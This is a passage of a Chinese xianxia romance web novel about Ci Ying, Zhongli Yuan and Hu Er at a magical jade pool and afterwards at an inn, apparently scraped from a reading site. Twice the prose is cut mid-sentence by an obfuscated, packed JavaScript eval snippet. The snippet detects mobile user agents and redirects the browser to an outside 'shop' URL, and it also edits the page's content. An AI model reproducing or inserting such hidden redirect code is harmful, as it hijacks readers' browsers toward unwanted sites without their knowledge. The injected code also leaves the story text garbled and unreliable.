反正跳都跳了,你再把我捞出来也没用。略略略。 少女面无表情:“我奉命在此看守无量碧池,不许人随意玷污。若要入池,须以至关重要的人作为交换,留下与我做百年奴仆。” “做你的奴仆……是指他们?”辞盈指了指洞口零碎散乱的白骨。 少女淡然点头:“没错。” 胡二朝土夫子们一扬手:“那些人都送你,够了吧。” 辞盈扶额,这样是不是不太好…… 少女摇摇头,纤纤玉手优雅指向辞盈:“要她留下才行。” 辞盈:“……” 姐,这样是不是更不好?!你以为你在KFC点餐呢?! 何况谁告诉你我是他至关重要的人了?不要看见一男一女就理所当然的乱嗑cp好吗? 辞盈愤怒地双手交叉胸前摆出奥特曼正义凛然的造型:“你做梦,这温泉我们不洗了!” 话音刚落,她听见脑后传来低沉的男声: “接着,她是你的了。” 后背突然被人猛推了一把,辞盈身体像一片羽毛,轻飘飘地直冲着那少女银光汇聚的掌心飞过去。 看看,这我也太不重要了吧! 眼看着少女掌心寒气森森的灵力,辞盈觉得自己能被她一巴掌拍成冰棍。 千钧一发之际,一抹红影横亘在她身前,替她挡下了扑面袭来的鬼魅寒气。两道盛光轰然相撞如石破天惊,气浪将碧池炸得像沸腾的油锅,四下飞溅。 钟离渊回身揽住她的腰,借着力道轻盈后跃,稳稳落地。 “你叫我好找!” 他眉心花钿微皱,紧紧抓着她,像怕再次弄丢似的,语气严厉如爹,“又想偷跑回水云剑宗?我说了,会送你回去!” “不气啦不气啦。”辞盈在他胸口顺了两下,笑嘻嘻道,“我是想自己搞定,少给你添麻烦嘛。对了,你是怎么找到这的?” 少女忽然插言:“就是你,把我的墓殿拉出地面的?” 辞盈懵了几秒,大脑宕机。 墓殿,拉出,地面? 意思是,钟离渊凭一己之力,将这整个硕大的墓殿从沙漠地底下拽出来了? ??? !!! 祖宗,我要再问一次,你还是人吗? 钟离渊没理她,反而侧头看向胡二,眉宇之间杀气横生。辞盈像钟离渊肚子里的蛔虫,看他眼神就知道要出人命,立刻道:“他刚才并没有存心害我。” 她翻手变出个银灰色鼎炉,炉身镂空雕花,错金云气纹流转,底座透雕三条腾空蛟龙,炉底隐有青烟袅袅。 “他推我之前,偷偷把这错金博山炉塞给我,是想让我出其不意对付那少女前辈。” 胡二眼底暗潮翻涌,一声不吭。 钟离渊略一抬手,将胡二掀了个跟头,重重砸在石壁上,嘴角当即渗出血来。 “混账东西,竟敢拿她去赌。” 胡二喘着粗气,脸色却平静:“赌输了,我赔命便是。” 钟离渊眼皮都懒得抬:“你是什么东西,你的命如何能与她相提并论?” 辞盈连忙打圆场:“好了好了,算了吧,我这不好好活着嘛。” 钟离渊总算勉强肯放过胡二,然后他捏了捏辞盈的手,示意她安心,又将她掖到身后,面向空中的少女道: “让开。” “……” 果然大佬都不懂礼貌,你这样肯定又要开战的呀。 辞盈从他身后歪出半个脑袋,冲少女抱歉且讨好地笑,眼睛眯成一条缝,十分谄媚。 少女却望着钟离渊眨眨眼,忽然道:“你……好像我一位故人。” 额,什么古早的搭讪技巧?少女姐,要不咱偶尔也爬出墓殿看看新话术呢? 那少女却似乎沉浸在感动中,热泪盈眶:“三百年了,想不到竟还能再见到故人之子。” 钟离渊神色一顿:“你说什么?” 少女玉手翻转,在平静的碧池上拂袖一挥,那碧绿的水面竟映出清晰的人影来。 这碧池原来是……投影仪吗?好高端!请看vcr。 画面上的少女看起来与现在别无二致,只是法力差了许多,手上灵光轰出来并不像现在这样开炮似的,那细弱的银光像手电筒投射在敌人身上,只能造成灼烧伤害,却不致命。 三百年前的墓殿金碧辉煌,地上堆着铁箱木匣,有的敞着盖,露出满箱真金白银、奇珍异宝。这画面一出,连角落里的土夫子都忘了喊疼,直勾勾盯着碧池投影,满眼艳羡。 与少女对战的约有几十人,披黑袍戴头巾,手持长刀步步紧逼,眼看着将她逼入殿角,辞盈明知是投影也不禁为她捏了一把汗。 倏忽间蓝光一闪,锋锐的剑气在虚空之中荡开,将众人一并震翻,画面中出现了两名俊秀的少年。一个白衣胜雪,眉目清秀,与墨让尘竟有几分相似,只是年纪尚轻,神态少了几分淡定超然。 另一个少年一袭黑衣,神色傲然,手中长剑熠熠生辉,而那张脸,可以说是跟钟离渊一个模子刻出来的! 这二人,不就是钟离桀和墨翊?! 辞盈屏住了呼吸,看向身旁,钟离渊脸上毫无波澜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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辞盈看到这里,便料定黑衣少年不会入池了。 钟离桀性情残暴,杀戮无数,怎担得起一句心性端正?刚才那些漂亮话,肯定也不过是说出来哄人罢了。 果然,那白衣少年犹豫地望向黑衣少年,目光中带着征询。 黑衣少年眨眨眼,一语未发,纵身跃入池中! 画面里众人一片惊呼,画面外的土夫子们也忍不住惊叹出声。 辞盈感觉手上一紧,像紧绷的心弦,抬头看他,依旧是伪装得面无表情。她忽然心软,张开手指,轻柔地滑入他指缝之间,十指相扣。 钟离渊一愣,低头望进她盈满柔光的眼眸,满眼难以置信。 四目相对,柔情似水。 辞盈此刻确定:他的相思咒根本没解开。 太诡异了,到底是相思咒绑定了灵魂?还是肉身重塑后又自动续上了? 总之,钟离渊此刻望着她的眼神连傻子也看得出来,不是杀手,是爱人。 辞盈心里说不清是喜是忧,五味杂陈地抬头嗔怪:“怎么,只许你牵我么?我偏要这样牵着你。” 他瞳孔里的惊讶渐渐化作蜜糖,温柔漫溢:“这样,我也很喜欢。” 哗啦一声,画面中碧池冒出颗湿淋淋的脑袋。黑衣少年甩了甩头发,对池边的白衣少年笑:“快下来,畅快得很!” 白衣少年似乎松了口气,也坦然迈入池中,笑道:“果然舒爽。” 两个芝兰玉树、神清骨秀的少年在碧池中玩闹了一会儿,浑身衣衫尽透也不拘小节,辞盈自觉地移开目光,心里却惊诧不已。 此时的钟离桀竟是个心地光明磊落的阳光少年? 观他举止做派,潇洒恣意,比钟离渊少了几分邪魅,倒多了些狂放,仿佛太阳底下就没什么难得倒他。 她实在想象不出,这黑衣少年日后会凶性大发、残害生灵。 这样明俊的天之骄子,不藏心机,不生邪念,怎么会突然入了魔呢? 不过转念一想,人之初性本善。谁年少时不是心性单纯、一腔热血呢? 55. 药王旧事 素手轻轻一抹,无量碧池像被人按了重启键的录像机,瞬间从静止恢复成一片澄澈碧绿,波光粼粼,似能洗尽尘世烦忧。 少女目光悠远,轻声感慨:“那位黑衣少侠曾救我于危难,又顺利通过碧池的考验,乃是一位真君子。临别时,我将一枚上古神器玉扳指赠他。三百年了,没想到今日还能再见到这张脸。” 原来,这玉扳指的来历竟是如此! 女鬼姐姐,你一番好意却害人不浅啊。 辞盈问道:“我只知这两位开宗立派,修为深不可测,却原来他们也曾受碧池淬炼。敢问,是不是任何人只要经过碧池泉水的洗涤,都能在功法上大有所成?” 少女面容恬静,点头道:“不错,只要受得住这碧池的极阴极寒之气,便可脱胎换骨,经脉大开,修行事半功倍,不再受天资所限。” 世上竟真有这种一步登天的好事。 辞盈跃跃欲试,刚迈出半步,胳膊却被紧紧攥住。 钟离渊眉头紧锁,又看了一眼幽深的碧池,轻声道:“算了吧。就像现在这样,我可以一直照顾你,不好吗?” 辞盈忍俊不禁:“我是该笑你胆小鬼呢,还是该气你不信任我的人品呢?” 话音未落,她被猛地拉入怀中,额头贴上他的胸膛,听见他急促如战鼓的心跳。 “我就是害怕。” 钟离渊的声音低沉沙哑,“我不能再失去你一次,我受不了。” 辞盈抬起头看他,柔顺的银发丝垂在脸侧,长睫覆影,微微发颤。他的眼睛似沉潭寒星,清冷好看,却传递着真真切切的恐慌。 辞盈忽然意识到,如果相思咒没能解开,那么上一次她的死给他造成了多大的痛苦。 “很疼吗?”她轻声问,“我死的时候,你也很疼吧?” 抱着她的手臂紧了紧,钟离渊心有余悸:“好像跟你一起死了那么疼。” 辞盈抬起手来,轻轻搭在他的背上顺毛:“对不起,我只是不想再束缚你了,你应该是自由的……” “我愿意的,晚晚。”钟离渊忽然打断。他捧起她的脸,凝视着她,“不管你想去哪里,要做什么,我都陪着你。” “永远被你束缚,我心甘情愿。” 众目睽睽,你不要用这么性感有磁力的声音讲情话啊喂! 即便是相思咒的效果,辞盈依然忍不住为之心动。 然而,她忽然感到旁边投来一道阴鸷的目光,如毒蛇盘踞而上,令人脊背发寒。 越过钟离渊的肩看过去,胡二正倚着墙坐,目光锐利如刀,死死盯着她,缓缓抹掉了嘴角的血。 不是,吃瓜就吃瓜,一个八卦恋情瓜你吃得这么阴森森干什么?像个瓜田被偷的猹似的。 对于这种挑衅型狗仔,辞盈挑了挑眉,选择更加凶狠地瞪回去。 对方却无声地冷笑了一下。 “扑通!” 一声巨响,辞盈回头,只见池边人群骚动——不知谁那么缺德,竟把胖子给踹下去了! 霎时间,凄厉的惨叫响彻墓殿! 那胖子暴露出来的皮肤瞬间开裂,浑身上下的血肉不断崩开,却没有染红碧池,因为伤口裂开的瞬间皮肉就已经结冰。 好像微波炉里爆米花的声音,胖子不停地爆炸,直到从头到脚没有一块好肉。 痛苦地哀嚎刺进每个人的耳膜,胖子用尽最后的力气挣扎着游向岸边,伸出手臂求救。疤脸慌忙组织众人去拉,刚一用力,竟将胖子的一条胳膊沿着肩胛处生生扯了下来! 那胖子已经冻得比冰棍还脆,像大冬天里街边卖的糖人,稍一用力便可大卸八块。 疤脸吓得尖叫一声,又将那条千疮百孔的手臂丢回碧池,惊惧万分地退缩回墙角,不敢再动。 池中很快便没了动静。 胖子满脸裂痕已经面目全非,僵硬地飘浮在平静的碧池水面上。少女略一挥手,撒下一片金黄,那胖子便无声无息地消融了,连衣衫也不曾剩下,方才的惨剧如同一场幻觉。 再看那一池晶莹剔透的碧水,仍旧仙气飘飘,璨若翡翠,辞盈却觉得它没那么清新脱俗了。只感觉这是一锅酿了几百年的人肉汤,一想到要进去打个滚,就觉得不寒而栗。 这胖子的心到底是有多阴暗啊?或者说,这碧池对泡澡客户的道德标准是有多高啊? 刚才还心痒痒的众人这回集体老实了,蔫头耷脑地窝在墙角再没人敢吭声。钟离渊更是紧紧地抓着辞盈,恨不得现在立刻扛起她跑得远远的。 这时,身后传来响动,脚步声轻缓而沉稳。 “你等一下!”辞盈喝住了已经站在碧池边沿的胡二。 别人不了解,她却清楚他的来历。一个背负血海深仇的人,一个在恶魔手底下打工十几年的人,一个常年独居暗室不见天日的人。 这样的人,如何能心底纯善?他不变态已经很难得了好吗? “我知道你在想什么。可是人只有活着才有希望,你万一死在这里就什么都没了。那胖子什么样你也看到了,别拿你的命去赌,一切都可以从长计议……” 他只看了她一眼,甚至没有耐心听她说完,决绝地一头扎进幽幽碧水中。 “胡二哥——!” 水花四溅,令人心惊。他再浮起来,惨白的脸上满是伤痕,没有爆炸,却从皮肤上翻开细密的口子,横七竖八,像用尖锐的刀刃一下一下刻遍全身每一寸肌肤,削肉刮骨。 他牙关咬得紧,拳头握得更紧,太阳穴的青筋凸起像要涨爆一样,喉咙里却没发出一丝动静,只盯着天花板勉力提着一口气。 辞盈很想说“如果不行就算了,上来吧”这种话,但又说不出口,实在不跟再看,扭过头去。 又过了一阵,人虽然还立在水中,却肉眼可见地快要不行了。 每一滴水珠都在他皮肤表面豁开一道泛白的伤口,条条道道,密密麻麻,触目惊心,这千刀万剐的疼痛连旁观者都要冒冷汗。 胡二摇摇欲坠地泡在碧池里,神情几乎有些恍惚,每当众人以为他要倒下的时候,他又会像诈尸似地挺直了腰。 碧池如沸水般翻腾,水珠在他皮肤上割出一道道伤口,连旁观者都感到刺骨的疼痛。 大概是没见过这么不要命的,连一直淡定的少女前辈都看不下去了,劝道:“你心有杂念,大道难成,不如及时回头,至少还能保住性命。” 胡二毫无血色的嘴唇早结了一层薄冰,只微微颤抖,却没回应半个字。 “我实在好奇,究竟何事不能释怀,非要死在这无量碧池里?”少女流仙广袖翩然拂过,碧池水面又生动活现起来。 这投影仪什么系统,功能太TM逆天了吧,想看谁看谁?! 青山绿水,茅屋草堂,几个小童贴着墙根,罚站成一排移动信号,还在眼珠乱转地互相逗闹。 最边上的胡二高出别人一头,青涩的脸庞已经有了些小大人的神情,向前一步自告奋勇道:“徒儿知错了,请师父责罚。” 那师父一袭青衫,相貌堂堂,颇有些温文尔雅的倜傥。他转身缓步过来,折扇在爱徒额头上轻点一下,语气却柔和:“错在哪里?” 辞盈本以为霍圣应该是个背着竹篓尝百草的白胡子老头,没想到竟是个风度翩翩的中年男子,看起来不像大夫,倒更像个教书先生。 “徒儿不该带师弟师妹们在祠堂里玩火……” 胡二自知理亏,声音越来越小。 师父看看所有人黑黢黢的小手,再看看胡二白皙的双手,奇怪道:“明明不是你犯的错,为何你要替人领罚?” 胡二仰起稚嫩的小脸,认真道:“师父救我性命,赐我霍姓,徒儿感念师恩,自当永远待师弟师妹们好。哪怕我死了,也绝不让他们受半点苦。” 师父敛眉,拂袖严肃道:“辛夷,你记住,你今日所犯的错,叫做自轻。” “自轻?” “我赐你霍姓,便是要你知道,你不比他们少什么。在我心里,你与我的孩子同样重要。在药王谷,也没有人会轻看你。以后不要再妄自菲薄了,知道吗?” 舍门轻推一半,姿容俏丽的年轻妇人探进头来,看看罚站的一排小崽子,如少女般顽皮笑道:“霍神医,你整日只知读书做药不吃饭,饿死了也不可惜,孩子们不吃饭可是会饿坏脑子的。” 师父无奈地抬抬手,几个孩子便耗子似的唧唧笑着,挨个从师娘胳膊底下钻出去,叽里咕噜跑没了影。 画面一转,青山火光冲天,学舍浓烟滚滚。远处黑影人头攒动,杀气腾腾而来。 刚抱着孩子逃出茅屋的女人被蛊火砸中,背上瞬间燎起烈焰,痛苦地扭曲翻滚直至烧成一团黢黑的残骸。 凄厉的惨叫和放肆的狂笑交织在一起,令人毛骨悚然。 那师父和师娘匆忙将几个孩子分别抱上两匹马,来不及多说,只吩咐大孩子抓紧缰绳。 胡二又慌又急道:“师父师娘,我不走!要走一起走!” 话音未落,嗖的一声冷箭直插入师娘背心,淡黄色轻纱薄裙瞬间染成一片血色,身子一歪倒在地上。 稚嫩的童声啼哭:“娘— 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辞盈真心为他高兴,特意跑到池边拉了他一把,笑道:“恭喜你成功了,霍辛夷。有一个人曾经告诉我,辛夷师兄是最厉害的师兄。如今看来,他所言非虚。” 她将错金博山炉递过去:“这个还是你拿着吧,对你比较重要。” 霍辛夷不客气地接过来,随手颠了颠。他明明遍体鳞伤,却心情极好,连一向阴沉的眼睛也明亮许多,闪烁着注视辞盈道:“记着,你还欠我一次。” 辞盈愣了一下,随即反应过来,拍拍怀里的手帕笑道:“忘不了,方程兄。” 一道红墙赫然出现,隔在二人中间。钟离渊眯了眯眼,阴阳怪气:“看来我离开这一日,阿姐过得很开心。” 辞盈想了想,这么顺利就找到了无量碧池,的确值得开心,于是点点头:“嗯,还行。” 钟离渊牙齿咬得咯咯响,眼神像冷剑一样杀向霍辛夷:“还不快滚,在等死吗?” 霍辛夷平静地对上钟离渊的目光,若有似无地冷笑一下,转身离开了墓殿。 钟离渊再回过头看辞盈,身边空空如也。 “我在这里!” 碧波荡漾中,她哗啦浮出水面,笑容灿若桃李地朝他挥手。晶莹剔透的水珠打湿了她的长发,顺着光洁的额头滑过脸颊,落在饱满的唇瓣上。 “喂,钟离渊?” 辞盈胳膊跟雨刷器似的来回摆几下,纳闷他怎么突然僵住了,好像被人施了定身术似的,呆站在原地。 “你怎么啦,不为我高兴吗?”辞盈得意忘形地开始甩胳膊甩腿,恨不得全身所有关节变成多米诺骨牌依次嗨起来,还自顾自道,“哇,我现在比蛇还软,这下不会把饭塞进鼻子里了。” “你看你看,我的手指甚至可以这样折叠耶!” “你看你看,我还可以下腰!” “你看你看……” “我在看。”钟离渊说完,凌厉的目光蓦地扫向墙角,众人早识趣地集体转身面壁。 他喉结艰难地滚了一下:“你要不要,也低头看看?” 辞盈不明所以地低头一看,差点原地去世。 好一身少儿不宜的透视装! 她刚才竟然穿着这套肉隐肉现的玩意儿,在钟离渊面前跳了几乎一整套广播体操? 喵了个咪的,这什么破裙子这么不防水! 旁边还坚持飘在空中的少女体面地微笑:“无妨,很好看。” 谢谢,你人还怪好嘞。 重获新生的喜悦瞬间被丢大脸的尴尬挤没了,辞盈进退两难地泡在碧池里,愁眉苦脸:“怎么办?” “你先上来。”钟离渊笑着将她拉上来,指尖燃起灵光释放到她全身,纱裙瞬间清爽飘逸如新。 好牛逼的烘干技术。 钟离渊眨眨眼,遗憾道:“其实我还没看够。” 辞盈弯起胳膊给他一杵:“不许再提。” 钟离渊轻松闪过,哈哈笑着牵起她的手就走。 背后少女忽然道:“少侠这样就走,未免可惜。” “当年你父亲经历了碧池易筋洗髓,方才修有所成。我看得出你如今修为深厚,世间无二,若再得碧池洗涤,便是与日月同辉、天地齐寿的命数了。” 这话的确诱人,辞盈也迟疑地望向钟离渊。他却置若罔闻,连脚步也未放缓半分,头也不回地握着辞盈的手,大步流星离开了墓殿。 56. 这里……不行 推开沉重…… 推开沉重的墓殿石门,正午的阳光如利刃般刺入眼底,刺得人眼前一片花白。 鸣蛇焦躁不安地在沙地上翻滚,不停地翻滚以防被烤熟。 辞盈骑在蛇头上,若有所思:“我觉得,你或许可以考虑她的建议。” 钟离渊像往常一样坐在她身后,下巴在她柔顺的长发上蹭来蹭去,还不时像吸猫似的猛吸两下,懒洋洋地:“考虑什么?” 鸣蛇嘶鸣一声,腾空而起,振翅穿云,沙漠与雪山在脚下连绵展开,如画般壮丽。 “与日月同辉,天地同寿啊。”辞盈转过头看他,“修行之人毕生所求的终极目标就是飞升成仙,但绝大多数人就算努力到死也触不到那门槛。现在机会就在眼前,你真的不动心?” 就好像清华的录取通知书甩到我脸上,我要是不跳起来接就是疯了好吗? “你会跟我一起吗?”钟离渊问。 “我?”辞盈自嘲道,“我要是能飞升,看门王大爷都能飞升了。” “那还有什么意思。”他无所谓地自嘲道,“何况像我这样的人,要是跳进碧池只会死无全尸。” “你是什么样的人?”辞盈问。 钟离渊懒洋洋地笑了笑:“我是个被压了三百年的人,手上的人命根本数不过来,世人惧我畏我,连我的名字都令人厌弃,你说我是什么样的人?” 辞盈没有说话,只歪着身子仰头,仔细端详他。 钟离渊被她盯得久了,有些不自在地撩了撩头发:“怎么了?” 眸若点漆,鼻若悬胆,唇红齿白,客观的讲,他长了一张令人过目不忘的俊脸,说一句妖艳贱货也毫不夸张。 这世上怎么会有人长得这么好看还被厌弃?这不科学。 辞盈脖子扭得累了,却还没看够,干脆蜷起腿跪在蛇头上,小心翼翼地想要转过身来。鸣蛇鳞片丝滑,风又急,她跪着摇摇晃晃好像走钢丝。 钟离渊看不下去,两手架在她腋下,像抱小孩似的将她抱起来转了半圈,稳稳放在自己面前:“坐着也不老实,这掉下去可不是好玩儿的。” “你不会让我掉下去的。”辞盈笑吟吟道,“我只是想看看,这样聪明又漂亮的好孩子,有什么可畏惧的呢?” 钟离渊挑了挑眉:“你说谁,我吗?聪明漂亮倒是不假。” 辞盈稍微敛起笑容,认真道:“说你好,也是不假的。” “旁人若无端被压三年,大概逢人就要骂街,被冤三十年,不是发疯就是发癫。若还有随意杀人的能耐,只怕早就屠城掠地,血流成河了。” “而你呢,其实一直都在假装凶残。你杀的,都是曾经害你或者正在作恶的人。要我说,是他们该死。” “那些唾弃厌弃你的人,背地里做了成百上千的龌龊事,却有脸站在阳光底下指责你。他们众口铄金制定规则,不过是嫉妒你又打不过你罢了。” 钟离渊安静地听她讲完,哂笑道:“怎么回事,听你说完我都要相信自己是个好人了。” “你就是很好的人。”辞盈笃定地说,“别理他们,你不知道自己有多好。” 钟离渊盯着她,忽然勾唇一笑:“你确定吗?可是怎么办,我现在就很想做坏事呢。” 她还没反应过来,他已探到近前,微微躬身与她平视,眼神炙热旖旎,语气却轻柔:“我想对你做坏事,很坏的事,可以吗?” 未及回答,他已经迫不及待地压过来,小鸡啄米一样亲在她的唇角,细密的吻一路漂移到脸颊、下颌、锁骨,辞盈大吃一惊:“在这里……不行……” 耳畔风声呼啸,她试图推他肩膀,两只手腕却忽然被握住,身体向后倾倒,钟离渊压了上来,将她直接按在蛇头上深吻。 刚才是谁说掉下去可不好玩的?! “钟离渊,先别……” 她支支吾吾,想挣脱却不敢动作太大,万一用力过猛,真一脚把他踹下去了怎么办。 被他灼热的气息烘烤着,手指所到之处无不滚烫,辞盈的脸颊也开始发烫,神志不明不白地发晕。这样下去真的不行,云端天际,巨蛇背上,这也太奔放了! 辞盈狠下心,在那温热柔软的唇上用力咬了一下,甜腥瞬间弥漫在唇齿之间。 钟离渊闷哼一声,终于舍得分开,睁着两只哈巴狗眼睛亮晶晶地望着她,可怜兮兮道:“阿姐,好疼。” 明明三百多岁高龄,还好意思叫姐姐装可怜,不就仗着自己长得好看嘛! “我改主意了,”辞盈瞪他,“不去逍遥山庄了。” 钟离渊吓了一跳,连忙爬起来规规矩矩地坐直了,恳求道:“我错了!你别生气,我下次不敢了。” 辞盈眼看他被唬住了,觉得好玩,便装作忿忿不平的样子:“总之我现在不想回逍遥山庄啦。” 钟离渊微微垂着头,一脸忐忑,眼睛偷瞟她问:“那你想去哪?我也去……” 辞盈努力憋着笑,板着脸道:“我如今也是泡过碧池的人了,只要我肯潜心修炼,假以时日,没准儿也能成为绝世高手,到时候看谁还敢欺负我?” 钟离渊连忙道:“现在也没人能欺负你!” 辞盈瞥他:“除了你?” 钟离渊抿紧嘴巴,不敢吭声。 “我想先去买把剑。”辞盈说。 活过来这几天,辞盈最不适应的就是佩剑没了。每次热血上头一摸腰间空荡荡的,立马变成抱头鼠窜。墨让尘送她的剑当真趁手至极,就这么被煞气一起毁了,实在可惜。 也不知道师尊现在怎么样,应该已经转醒了吧。 钟离渊眼珠一转:“你喜欢那个问心剑吗?我去拿给你。” 这话说的,就好像“你想吃橘子吗,我去拿”一样顺理成章轻而易举。 水云剑宗的剑是那么好“拿”的嘛?! 为了断他总要回水云剑宗抢劫的念头,辞盈言正词严道:“我不要别人的东西,辞盈女侠要一把专属于自己的剑。” 钟离渊想了想:“要不要去铸剑山庄看看?” 当今世上最有名的神兵利器都算上,除了问心剑是上古神器,流光剑是三百年前幼青遗物,剩下的全都产自铸剑山庄,连墨让尘的醉花剑也不例外。 “行呀。” 鸣蛇一扭头,朝铸剑山庄飞去。 夜色渐浓,向下望去,世界像打翻了墨盘一样模糊暗淡。风声猎猎,钟离渊默默为她掖好披风,手法很小心,像是避嫌似地尽量不触碰到她。 辞盈察觉到他的紧张情绪:“嗯?” “风大,我不是想碰你。”他解释道。 “谁说你什么了?”辞盈哭笑不得。 “不生我气了?”他小心翼翼地问。 “嗯。” 钟离渊喜出望外:“那你说要跟我回逍遥山庄的话,还算数吗?” “看我心情喽。” 铸剑山庄地处南疆交通要塞,往来行人商旅络绎不绝,加上本身生意红火,上门求剑的人数不胜数,因此附近的客栈酒馆众多,高中低档任君挑选。 有钱的一掷千金住天字号,没钱的枕着包袱睡通铺,三教九流鱼龙混杂。酒楼跑堂的早就练出一身八面玲珑的本事,见人说人话,见鬼说鬼话,正忙前忙后,抬眼见门口踏进一双黑皮靴。 再往上看,衫袍红艳如枫,袖襟花纹精致,白玉般的手腕上箍着一环精巧的银镯,少年银发飒飒,明俊逼人,神采飞扬,显然是个家里宠坏了的小少爷,绝不将众人放在眼里。 这种客人,高兴了能随手打赏你半年月钱,不爽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199844|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了能放狗咬断你半条腿,自然是要千万个小心伺候着。 跑堂的满脸堆笑刚要开口,发现少年身后又闪出个漂亮姑娘,素白狐裘一抖,带进来一股清洌的凉气。 有钱人带出来的姑娘没有不漂亮的,这倒不稀奇,姑娘越漂亮,男人越有面儿。只是这姑娘虽然俏丽,却不似平常看到的金丝雀一样千娇百媚,跑堂的忍不住多看了两眼。 姑娘看起来似乎比小少爷还大个一两岁,姿容胜雪,身形纤瘦却不羸弱,举手投足自带了一股与众不同的精气神,不像个作陪的姑娘,倒像个做东的主人。 跑堂的眼睛在她身上稍停顿了一下,立刻感觉脑瓜顶上一股肃杀之气劈头盖脸压下来,心想坏了,怠慢了小公子可没有好果子吃。于是连忙陪着笑迎上去道:“客官里面请,我给您找个好位置,再上几道可口的小菜,包您吃得舒坦。” 说完,跑堂的躬着身子,端着胳膊,准备引他往里走。谁料那少年却转过去帮姑娘解了披风,自然地伺候她脱下来,搭在自己手臂上,又笑容可掬地偏着脑袋问:“阿姐想坐哪里?” 这殷勤嘴脸,不知道还以为他才是跑堂的。 姑娘也不客气,径直往里走,少年紧随其后,一路上还不忘用眼神吓跑每一个迎面走来的男性。 偌大的酒楼人声鼎沸,有喝酒的,弹琴的,吵闹的。台上名伶咿咿呀呀的唱着曲,台下上菜的小二哥穿梭在桌台中间游刃有余。 两人在二楼靠窗的八仙桌旁落座,倒还算清净,旁边一桌人操着南疆口音叽里呱啦地说话,外地人倒也听不太清。 跑堂的认清了大小王,识趣地站在小少爷旁边,却向着姑娘询问:“二位想吃点儿什么,那边墙上挂的都是我家招牌菜。” 姑娘自打落座便神色迷茫,心不在焉道:“随便。” 再看那少年,眼睛好像黏在她脸上了,一刻也没错开过,胡乱抬抬手。跑堂的立刻心领神会,该干嘛干嘛去了。 “在想什么?”钟离渊手托着下巴问。 辞盈将食指放在唇上做了个噤声的手势,眼珠朝旁边桌瞟了一下。 南疆口音虽然难懂,说话那人却是个慢性子,语速慢条斯理,仔细辨认还能听出意思,大概就是在吹嘘玄武教势力庞大,为当今世上第一门派,日后必然一统天下之类的。 这一带确实属于玄武教势力范围,萧阳虽然行事蛮横,却将南疆管理得井井有条,百姓安居乐业,因此口碑还算不错。 钟离渊对这些事毫无兴趣,只专心夹了一筷子鱼肚肉递到辞盈嘴边:“尝尝?” 辞盈却不张嘴,听见那南疆人道:“等玄武教将水云剑宗也彻底收了,还愁灭不掉九曜派那群王八蛋?到时候,这天底下还有谁敢不听咱们萧教主的命令?” 旁边有人道:“我可知道水云剑宗的厉害,你别异想天开了。” 那南疆人喝了些酒,高谈阔论道:“水云剑宗厉害在哪?不就是那宗主吗?没了墨让尘他们还厉害个屁!” 钟离渊面色一顿,这才知道辞盈为什么心不在焉。再看她的神情,越发觉得她关心紧张得要命。 那人继续滔滔不绝:“从前我还当水云剑宗多了不起,一个个的整日一副自命清高的做派。结果呢?宗主带头吃软饭!哈哈哈哈,真他娘的是个窝囊废!” 辞盈刚要拍案而起,就听远处桌子比她拍得还响,传来怒喝:“岂有此理!你再说一遍!” 南疆人还未及开口,一道浅色已经跃至眼前,啪啪两声脆响,脸颊登时肿起两个巴掌印,他又惊又气道:“你是什么人?竟敢打我!” 浅色轻衫的公子手持宝剑,腰间佩玉,人如芝兰玉树,清秀的面庞涨得通红,怒气冲冲道:“若下次再敢辱我师尊,便不会这么轻易算了!” 57. 南疆 隔壁那一桌人多势众,哪里肯吃这亏,纷纷亮出兵刃,将他团团围住。挨了耳光的那人捂着脸骂道:“我当是谁呢,原来是软饭剑宗的人!你们宗主眼看都要入赘玄武教了,还有脸在这耀武扬威?依我看,不如直接并入玄武教,改叫水云软饭分派得了!” 众人哄笑,那人正欲再添几句,嘴巴一张,却发不出声。正纳闷间,整个人像被人从背后狠狠踹了一脚,猛地扑在地上。 清脆的铃声骤然响起,下一刻,周围的人惨叫连连,不知被什么打得东倒西歪,一边求饶一边仓皇外逃。 鹅黄衫裙的少女摇着腕铃从角落里跃出,一把抓住江羡之的手臂,嗔怪道:“你看,伤口又裂开了。那样的人,也值得你动手么?” 辞盈这才注意到,江羡之右臂衣袖已被鲜血浸透,惊呼:“二师兄!” 江羡之一见她,喜出望外:“小盈,你怎么在这……”话说到一半,目光扫到她身后还坐着一位,硬生生噎住了似的,讪讪地闭了嘴。 辞盈走过去,对白芷点了点头,又问:“你这伤怎么弄的?” 江羡之却愁眉苦脸地答非所问:“师尊被他们偷走了!” “啊?” 辞盈愣愣地反应了几秒,脑海里电光火石般闪过之前在谢家堡客栈楼下碰见萧无忧的画面。 当时她心系楼上,生怕钟离渊被人发现,只着急嘻嘻哈哈把萧无忧糊弄走,却没多想萧无忧为什么同样神色慌张。 那轿帘撩起的瞬间,隐约露出的白衣一角,萧无忧反常的客气,近乎逃跑一样仓皇的神态…… 她怎么竟没想到,车里躺的就是昏迷的墨让尘?! 堂堂玄武教主竟然纵女“偷人”,简直无耻! 江羡之道:“那天你不在场,还不知道吧。九曜派的混账趁师尊昏迷不醒就来挑衅,暮苍山上乱作一团,伤亡不少弟子,连我也差点死在胡四手里。刚好赶上……” 他瞄了不远处一眼,钟离渊正翘着二郎腿,懒洋洋地把玩着手里的竹筷子,冷白的脸上看不出喜怒,只一副事不关己的样子。 江羡之清了清嗓子,又道:“赶上钟离渊不知道为什么忽然跑来闹事,反倒救了我一命。” 辞盈不自觉看向钟离渊,他立刻展颜一笑,顽童似地眨眨眼。 她又转回头来:“我知道,你接着说。” 